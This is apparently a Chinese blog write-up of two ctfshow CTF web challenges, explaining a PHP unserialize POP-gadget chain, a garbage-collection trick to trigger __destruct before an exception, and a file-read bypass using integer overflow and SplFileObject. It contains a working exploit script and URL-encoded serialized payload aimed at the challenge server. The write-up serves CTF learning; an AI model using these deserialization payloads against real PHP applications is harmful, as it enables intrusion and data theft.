ctfshow卷王杯web部分[easy unserialize&easy web]

文章目录

  • ctfshow卷王杯web部分[easy unserialize&easy web]
    • easy unserialize
      • 了解__destruct()魔术函数的调用条件
    • 不难发现我们最后是要调用one::MeMeMe,然后进入链子的起始点为one::destruct,顺着起始点往下跳
      • 链子找到了,就要想办法实现,这里有个问题就是这里存在反复调用的问题,也就是one对象到second对象,然后有条回来,这样可能不能反复赋值,因为这样的话就进入死循环了,所以我们可以实例化两个one对象进入
      • 然后就是想办法进入到one::MeMeMe方法,然后拿到flag
      • 接下来就是想办法怎么在third::__get()里面怎么调用one::MeMeMe,最开始我想的是直接传入"one::MeMeMe",结果发现这样就不能自己设置成员属性了,所以这里我改用了另外一种方法,`使用数组调用类方法`,也就是传入这个payload
      • 最终exp
    • easy web

easy unserialize

点击这里观看体验更佳
(经过大佬的指点,我在后面加了一种GC利用的新姿势在这个站里)

<?php
/*** @Author: F10wers_13eiCheng* @Date:   2022-02-01 11:25:02* @Last Modified by:   F10wers_13eiCheng* @Last Modified time: 2022-02-07 15:08:18*/
include("./HappyYear.php");class one {public $object;public function MeMeMe() {array_walk($this, function($fn, $prev){if ($fn[0] === "Happy_func" && $prev === "year_parm") {global $talk;echo "$talk"."</br>";global $flag;echo $flag;}});}public function __destruct() {@$this->object->add();}public function __toString() {return $this->object->string;}
}class second {protected $filename;protected function addMe() {return "Wow you have sovled".$this->filename;}public function __call($func, $args) {call_user_func([$this, $func."Me"], $args);}
}class third {private $string;public function __construct($string) {$this->string = $string;}public function __get($name) {$var = $this->$name;$var[$name]();}
}if (isset($_GET["ctfshow"])) {$a=unserialize($_GET['ctfshow']);throw new Exception("高一新生报道");
} else {highlight_file(__FILE__);
}

这道题有幸拿到了二血,这道题做了之后学会了几个新姿势,我接下来分开来讲

  1. 了解__destruct()魔术函数的调用条件

__destruct()方法又叫析构函数,当程序结束销毁的时候自动调用,看下这道题中的代码

$a=unserialize($_GET['ctfshow']);
throw new Exception("高一新生报道");

这里有个throw函数,大概是抛出一个异常,然后让程序异常退出,这个时候就是未正常退出的情况,所以不会调用__destruct方法,这里我们就要想办法在throw函数执行之前调用析构函数,目前我知道的调用该函数的方法如下

  • 等待程序完整执行完毕,也就是解释完最后一行代码,这也是我们最常用的方法
  • 利用GC回收机制,比如
<?php
highlight_file(__FILE__);
class Demo{public function __destruct(){echo "Running method <destruct>";}
}
$a=new Demo();
// $a=null;
throw new Error("this is a test");

然后我们把null赋值重新加上

发现成功执行了__destruct函数,这也就是利用了GC回收机制让这个对象提前销毁,具体的GC回收机制可自行百度

那么这道题我们要怎么绕过呢,这里我们可以利用反序列化的性质来做,反序列化时从左到右的顺序进行重构的,所以我们只要构造出以下类似的结构就行

 a:2:{i:0;O:4:"Demo":0:{}i:0;N;}

这个payload可以由下面这个demo获取得到

<?php
highlight_file(__FILE__);
class Demo{public function __destruct(){echo "Running method <destruct>";}
}
$a=new Demo();
$b=null;
$c=array($a,$b);
echo serialize($c);

即定义一个数组,其中有两个值,第一个为实例化的对象,第二个为另外随便的一个值(这里赋null以外的值都可以),然后会得到``a:2:{i:0;O:4:"Demo":0:{}i:1;N;},将其改为 a:2:{i:0;O:4:"Demo":0:{}i:0;N;}也就是将第二个反序列化的序号改为0,这样就实现了对Demo这个对象的重新赋值,达到了提前是对象摧毁的效果

  • 最后一种就是利用unset()主动销毁,这里显然我们不能,所以忽略

现在算是过了第一关了,那我们开始审链子

  1. 不难发现我们最后是要调用one::MeMeMe,然后进入链子的起始点为one::destruct,顺着起始点往下跳

public function __destruct() {@$this->object->add();
}

这里调用了一个add的方法,由此可以跳到second::__call

进入second::__call:

此时调用了一个回调函数call_user_func([$this, $func."Me"], $args);分析一下他具体的调用结果,首先第一个参数[$this, $func."Me"]这是数组调用类方法的方式,其中$fun的值为访问的那个函数名,也就是add,所以总结下来其实就是访问second::addMe,然后再关注second::addMe

protected function addMe() {return "Wow you have sovled".$this->filename;}

这里将filename的成员变量与一个字符串相连接,很容易想到__toString方法,然后就不如到了one::__toString

public function __toString() {    return $this->object->string;  }

这里访问了string属性,可以想到__get,然后跳到third::__get

public function __get($name) {$var = $this->$name;$var[$name]();}

分析一下,变量var的值为this−>this->this−>name,也就是$this->string,然后调用一个方法,其中name的值不可控,var的值可以通过修改string的属性来控制,也就是说这里就能动态调用了

梳理一下链子如下

one::__destruct => second::__call => second::addMe => one::__toString => third::__get => one:MeMeMe

  1. 链子找到了,就要想办法实现,这里有个问题就是这里存在反复调用的问题,也就是one对象到second对象,然后有条回来,这样可能不能反复赋值,因为这样的话就进入死循环了,所以我们可以实例化两个one对象进入

具体的实现方式exp如下

<?php
highlight_file(__FILE__);
class one {public $object;public function __construct(){$this->object=new second();}
}class second {public $filename;
}class third {private $string;
}
$a=new one();
$b=new one();
$c=new second();
$d=new third("haha");
$b->object=$d;
$c->filename=$b;
$a->object=$c;
echo urlencode(serialize($a));

然后带入自己本地调试的文件中结果如下

<?php
highlight_file(__FILE__);
class one {public $object;public function MeMeMe() {echo "<br>hahahaha";array_walk($this, function($fn, $prev){if ($fn[0] === "Happy_func" && $prev === "year_parm") {global $talk;echo "$talk"."</br>";global $flag;echo $flag;}});}public function __destruct() {@$this->object->add();}public function __toString() {echo "<br>Enter the tostring method";return $this->object->string;}}class second {protected $filename;protected function addMe() {echo "<br>addMe";return "Wow you have sovled".$this->filename;}public function __call($func, $args) {echo "<br>Enter the call method";call_user_func([$this, $func."Me"], $args);}}class third {private $string;public function __construct($string) {$this->string = $string;}public function __get($name) {echo "<br>Enter the get method!!!!!";$var = $this->$name;$var[$name]();}}
$a=unserialize($_GET['s']);

成功进入__get方法,如果我们只实例化一个one对象的话,可能就不能出现循环的问题了。另外这里我到一个php7的特性,使得绕过protect成员属性(对protect不敏感)

  1. 然后就是想办法进入到one::MeMeMe方法,然后拿到flag

终点看下这个函数

public function MeMeMe() {array_walk($this, function($fn, $prev){if ($fn[0] === "Happy_func" && $prev === "year_parm") {global $talk;echo "$talk"."</br>";global $flag;echo $flag;}});}

由于网上的关于array_walk的讲解大多数都是使用数组,所以我们可以写个demo来实验一下他对类的用法

<?php
highlight_file(__FILE__);
class Demo
{public $object="this is value";public function MeMeMe() {array_walk($this, function($fn, $prev){echo $fn."|".$prev;});}
}
$a=new Demo();
$a->MeMeMe();

可以看到array_walk函数的作用就是遍历自定义函数,其中$fn的值为成员的值,prev为成员变量的名字,这里可以多设置几个成员属性来验证一下,我这里就偷懒没写,因为我之前已经写过了哈哈,也就是说我们要满足这个if条件就要添加一个如下的属性

public $year_parm=array("Happy_func");
  1. 接下来就是想办法怎么在third::__get()里面怎么调用one::MeMeMe,最开始我想的是直接传入"one::MeMeMe",结果发现这样就不能自己设置成员属性了,所以这里我改用了另外一种方法,使用数组调用类方法,也就是传入这个payload

[new one(),"MeMeMe"]

然后再exp里面添加上上面成员属性就可以了,这里可以看到前面那个回调函数也使用了这一方法

  1. 最终exp

<?php
highlight_file(__FILE__);
class one {public $object;public $year_parm=array(0=>"Happy_func");
}class second {public $filename;
}class third {private $string;public function __construct(){$this->string=array("string"=>[new one(),"MeMeMe"]);}
}
$a=new one();
$b=new one();
$c=new second();
$d=new third("haha");
$b->object=$d;
$c->filename=$b;
$a->object=$c;
$n=null;
$payload=array($a,$n);
echo urlencode(serialize($payload));

然后再修改一下得到payload

 a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A6%3A%22second%22%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A5%3A%22third%22%3A1%3A%7Bs%3A13%3A%22%00third%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BN%3Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7Di%3A1%3Bs%3A6%3A%22MeMeMe%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7Di%3A0%3BN%3B%7D

easy web

php数组键溢出,php原生类操作文件

首先可以令c=9223372036854775806绕过第一层,然后根据提示使用glob://协议读取到flag文件名,最后使用SplObjectFile类读取文件

其中获取文件名的时候可以爆破md5值得第一位数

payload如下

c=9223372036854775806&a=SplFileObject&b=flag56ea8b83122449e814e0fd7bfb5f220a.php

ctfshow卷王杯部分web相关推荐

  1. ctfshow(卷王杯)

    easyweb 首先打开界面,just so so , 然后我们查看源码,发现了source 路径直接进去访问 <?php error_reporting(0); if(isset($_GET[ ...

  2. ctfshow吃瓜杯之web(除魔女)详解

    shellme 搜索ctfshow即可 热身 <?phpinclude("flag.php"); highlight_file(__FILE__); if(isset($_G ...

  3. 2022-卷王杯-happyFastjson

    2022-卷王杯-happyFastjson 前言 昨天看了fastjson,因为最近比赛的fastjson出现的有点多.卷王杯Y4出了道fastjson的题目,考点是比较基础的东西,学习一波. 分析 ...

  4. ctfshow—2023愚人杯wp

    ctfshow-2023愚人杯wp 热身 热身 100 愚人杯比赛秉承欢乐.有爱.进取的精神 在群里师傅热心帮助下,已经开始第三届比赛啦! 欢迎各位师傅参加,希望大家玩的开心,比赛题目可以自由讨论.但 ...

  5. 新入职了一个卷王,天天加班到凌晨,各种技术张口就来,太让人崩溃......

    在程序员职场上,什么样的人最让人反感呢? 是技术不好的人吗?并不是.技术不好的同事,我们可以帮他. 是技术太强的人吗?也不是.技术很强的同事,可遇不可求,向他学习还来不及呢. 真正让人反感的,是技术平 ...

  6. 公司新来了个00后卷王,一副毛头小子的样儿,哪想到...

    内卷,是现在热度非常高的一个词汇,随着热度不断攀升,隐隐到了"万物皆可卷"的程度. 在程序员职场上,什么样的人最让人反感呢? 是技术不好的人吗?并不是.技术不好的同事,我们可以帮他 ...

  7. 公司新来了个00后测试工程师,一副毛头小子的样儿,哪想到是新一代卷王...

    内卷,是现在热度非常高的一个词汇,随着热度不断攀升,隐隐到了"万物皆可卷"的程度. 在程序员职场上,什么样的人最让人反感呢? 是技术不好的人吗?并不是.技术不好的同事,我们可以帮他 ...

  8. 公司测试部门来了个00后卷王之王,老油条感叹真干不过,但是...

    最近聊到软件测试的行业内卷,越来越多的转行和大学生进入测试行业.想要获得更好的待遇和机会,不断提升自己的技能栈成了测试老人迫在眉睫的问题. 不论是面试哪个级别的测试工程师,面试官都会问一句" ...

  9. 部门新来的00后真是卷王,工作没1年,入职20K

    都说00后躺平了,但是有一说一,该卷的还是卷.这不,前段时间我们公司来了个00后,工作都没1年,到我们公司起薪18K,都快接近我了.后来才知道人家是个卷王,从早干到晚就差搬张床到工位睡觉了. 最近和他 ...

最新文章

  1. cocos2d-x之读取json文件
  2. Youth---青春
  3. Android--判断发送短信后的状态/发送成功Or发送失败
  4. UA MATH564 概率论 公式与定理总结
  5. angular 指定components的路径_如何手动启动 Angular 程序
  6. 快速傅里叶变换应用之二 hdu 4609 3-idiots
  7. 蚂蚁金服 Service Mesh 落地实践与挑战|成都Service Mesh沙龙预告
  8. Selenium代码示例
  9. BIO,NIO,AIO总结(一)
  10. 剑指offer——35复杂链表的复制
  11. oracle 11g表空间之最大最小
  12. java webservice 示例,Java webservice 示例
  13. cocos creator 打包apk_Cocos Creator Android打包 apk
  14. Intellij IDEA破解码
  15. oracle删库语句,oracle删除表语句是什么?_数据库
  16. win10用户名与计算机名字一样,win10电脑账户名和其他信息怎么更改
  17. C#数字黑洞之一(水仙花数黑洞153)
  18. 堆叠实验-典型配置H3C IRF
  19. 女孩与头发2005.9.8
  20. 阴阳师夜影诡谈第二天阵容怎么配

热门文章

  1. L138常有网址-李云 酷壳等
  2. 为师生负重前行:记校园防疫中的故事
  3. JavaScript内部原理实践——真的懂JavaScript吗?(转)
  4. 【Linux】ifconfig不显示ip地址
  5. 2018年7月编程语言TIOBE排行榜
  6. 英语Partschinite芬达石partschinite锰铝榴石
  7. 泛微ecology由于数据库的账号安全机制帐号被锁从而系统宕机排查
  8. python读取摄像头或者视频文件、并在gui中实时显示_python:tkinter显示来自网络摄像头的视频并执行QR扫描...
  9. python -- 最长公共子串
  10. 用python快速群发邮件